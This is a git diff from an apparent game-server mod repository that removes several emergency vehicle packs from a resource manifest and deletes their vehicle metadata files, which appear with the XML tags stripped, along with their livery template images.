diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua
index ab6663d87..936f45792 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua
+++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/__resource.lua
@@ -165,21 +165,6 @@ data_file 'CARCOLS_FILE' 'data/prescue/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/prescue/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/prescue/dlctext.meta'
- --brush
- files {
- 'data/brush/vehicles.meta',
- 'data/brush/carvariations.meta',
- 'data/brush/carcols.meta',
- 'data/brush/handling.meta',
- 'data/brush/vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'data/brush/handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'data/brush/vehicles.meta'
-data_file 'CARCOLS_FILE' 'data/brush/carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'data/brush/carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'data/brush/dlctext.meta'
-
--enladder
files {
'data/enladder/vehicles.meta',
@@ -195,51 +180,6 @@ data_file 'CARCOLS_FILE' 'data/enladder/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/enladder/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/enladder/dlctext.meta'
- --code3megapackrb
- files {
- 'data/code3megapackrb/vehicles.meta',
- 'data/code3megapackrb/carvariations.meta',
- 'data/code3megapackrb/carcols.meta',
- 'data/code3megapackrb/handling.meta',
- 'data/code3megapackrb/vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'data/code3megapackrb/handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'data/code3megapackrb/vehicles.meta'
-data_file 'CARCOLS_FILE' 'data/code3megapackrb/carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'data/code3megapackrb/carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'data/code3megapackrb/dlctext.meta'
-
- --e450ambo
- files {
- 'data/e450ambo/vehicles.meta',
- 'data/e450ambo/carvariations.meta',
- 'data/e450ambo/carcols.meta',
- 'data/e450ambo/handling.meta',
- 'data/e450ambo/vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'data/e450ambo/handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'data/e450ambo/vehicles.meta'
-data_file 'CARCOLS_FILE' 'data/e450ambo/carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'data/e450ambo/carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'data/e450ambo/dlctext.meta'
-
- --20ramambo
- files {
- 'data/20ramambo/vehicles.meta',
- 'data/20ramambo/carvariations.meta',
- 'data/20ramambo/carcols.meta',
- 'data/20ramambo/handling.meta',
- 'data/20ramambo/vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'data/20ramambo/handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'data/20ramambo/vehicles.meta'
-data_file 'CARCOLS_FILE' 'data/20ramambo/carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'data/20ramambo/carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'data/20ramambo/dlctext.meta'
-
--21tahoek9rb
files {
'data/21tahoek9rb/vehicles.meta',
@@ -255,21 +195,6 @@ data_file 'CARCOLS_FILE' 'data/21tahoek9rb/carcols.meta'
data_file 'VEHICLE_VARIATION_FILE' 'data/21tahoek9rb/carvariations.meta'
data_file 'VEHICLE_LAYOUTS_FILE' 'data/21tahoek9rb/dlctext.meta'
- --f450ambo
- files {
- 'data/f450ambo/vehicles.meta',
- 'data/f450ambo/carvariations.meta',
- 'data/f450ambo/carcols.meta',
- 'data/f450ambo/handling.meta',
- 'data/f450ambo/vehiclelayouts.meta',
-}
-
-data_file 'HANDLING_FILE' 'data/f450ambo/handling.meta'
-data_file 'VEHICLE_METADATA_FILE' 'data/f450ambo/vehicles.meta'
-data_file 'CARCOLS_FILE' 'data/f450ambo/carcols.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'data/f450ambo/carvariations.meta'
-data_file 'VEHICLE_LAYOUTS_FILE' 'data/f450ambo/dlctext.meta'
-
--silvfire
files {
'data/silvfire/vehicles.meta',
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta
deleted file mode 100644
index 5e662bd5c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carcols.meta
+++ /dev/null
@@ -1,756 +0,0 @@
-
-
-
- -
-
- Chevrolet1980VANPD
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta
deleted file mode 100644
index 79d1bb79c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/carvariations.meta
+++ /dev/null
@@ -1,67 +0,0 @@
-
-
-
-
- -
- Chevrolet1980VANPD
-
-
-
-
- 0
- 0
- 2
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
- Standard White
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta
deleted file mode 100644
index fa3fac38c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/handling.meta
+++ /dev/null
@@ -1,77 +0,0 @@
-
-
-
-
- -
- Chevrolet1980VANPD
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 400010
- 0
- 0
- TRUCK
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta
deleted file mode 100644
index 3e9a6ab32..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/Chevrolet1980VANPD/vehicles.meta
+++ /dev/null
@@ -1,162 +0,0 @@
-
-
- vehshare
-
-
- -
- Chevrolet1980VANPD
- Chevrolet1980VANPD
- Chevrolet1980VANPD
- Chevrolet1980VANPD
- Chevrolet1980VANPD
- null
- null
- null
- null
-
- null
- SANDKING
- LAYOUT_BISON
- BISON_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_NEAR
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
- -
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 250.000000
- 30.000000
- 70.000000
- 140.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_IS_OFFROAD_VEHICLE FLAG_IS_BULKY FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_CAVALCADE
- VC_EMERGENCY
- VWT_SUV
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_M_AutoShop_01
-
-
- -
- S_M_M_AutoShop_02
-
-
- -
- S_M_M_Trucker_01
-
-
-
-
-
- - VEH_EXT_BOOT
-
-
-
-
-
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
- Truck
-
-
-
-
- - RANGER_BISON_FRONT_LEFT
- - VAN_RUMPO_FRONT_RIGHT
- - RANGER_BISON_REAR_LEFT
- - RANGER_BISON_REAR_RIGHT
- - VAN_BODHI_REAR_LEFT
- - VAN_BODHI_REAR_RIGHT
-
-
-
-
- -
- vehicles_cav_interior
- Chevrolet1980VANPD
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta
deleted file mode 100644
index f2653c6f8..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carcols.meta
+++ /dev/null
@@ -1,756 +0,0 @@
-
-
-
- -
-
- brush
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta
deleted file mode 100644
index a07c100e0..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/carvariations.meta
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-
- -
- brush
-
-
-
-
- 156
- 156
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta
deleted file mode 100644
index 3850ee6a2..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/handling.meta
+++ /dev/null
@@ -1,104 +0,0 @@
-
-
-
--
- Bru
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
- VEHICLE_WEAPON_WATER_CANNON
-
-
-
-
- 0
- 0
- 0
-
-
- 3.000000
- 0.000000
-
-
- -0.400000
- 0.000000
-
-
- 0.707000
- 0.000000
-
-
- -0.500000
- 0.000000
-
-
- 0.000000
- 0.000000
-
-
- 25.000000
- 0.000000
-
-
- -0.080000
- 0.000000
-
-
-
-
-
-
-
-
-
-
-
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta
deleted file mode 100644
index 3cc929cfd..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/brush/vehicles.meta
+++ /dev/null
@@ -1,138 +0,0 @@
-
-
- vehshare
-
-
- -
- brush
- brush
- Bru
- brush
- brush
- null
- null
- null
- null
-
- null
- firetruk
- LAYOUT_FIRETRUCK
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1500.000000
- 3000.000000
- 7000.000000
- 14000.000000
- 50000.000000
- 50000.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY FLAG_EXTRAS_REQUIRE
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Cop_01
-
-
-
- EXTRA_1 EXTRA_2 EXTRA_7 EXTRA_9 EXTRA_11
-
- - VEH_EXT_DOOR_DSIDE_F
- - VEH_EXT_DOOR_PSIDE_F
-
-
-
-
- EXTRA_1 EXTRA_4
-
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta
index cd13671e7..68806a6fe 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code06tahoe/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- bison
+ lg125mnsrybently
LAYOUT_STANDARD
SHERIFF_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png
deleted file mode 100644
index 4f095c0e5..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/10_charger_template.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png
deleted file mode 100644
index 5e895a022..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2012 Caprice.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png
deleted file mode 100644
index a97cab62e..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/2020_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png
deleted file mode 100644
index a7039b4fc..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/FPIS.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png
deleted file mode 100644
index 47c324fb0..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/TEMPLATE.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png
deleted file mode 100644
index 3900d79f6..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Template_4k.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png
deleted file mode 100644
index 2574631a4..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/WINDOW TEMPLATE.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png
deleted file mode 100644
index 93f634fa6..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/Window_Template.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png
deleted file mode 100644
index 76656ad75..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/bmw_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png
deleted file mode 100644
index c6882d579..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/boat_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png
deleted file mode 100644
index e96def07e..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/chgr_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png
deleted file mode 100644
index 0c533abb8..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/cvpi_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png
deleted file mode 100644
index c2dc67a06..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f-150_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png
deleted file mode 100644
index 9ccbd8a65..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/f250_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png
deleted file mode 100644
index 2a1574434..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/harley_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png
deleted file mode 100644
index 163c14804..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png
deleted file mode 100644
index 717b42126..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/impala_windows.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png
deleted file mode 100644
index 9aef780f3..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/livery_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png
deleted file mode 100644
index 8a864cd91..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/maro_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png
deleted file mode 100644
index 351e12dca..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/pursuit_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png
deleted file mode 100644
index a5859dc20..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ranger_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png
deleted file mode 100644
index d37c43c53..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/silver_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png
deleted file mode 100644
index 33a72bf17..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/stallion_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png
deleted file mode 100644
index ac46ea00a..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tahoe_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png
deleted file mode 100644
index 57e046d67..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/tau_sign_1.png and /dev/null differ
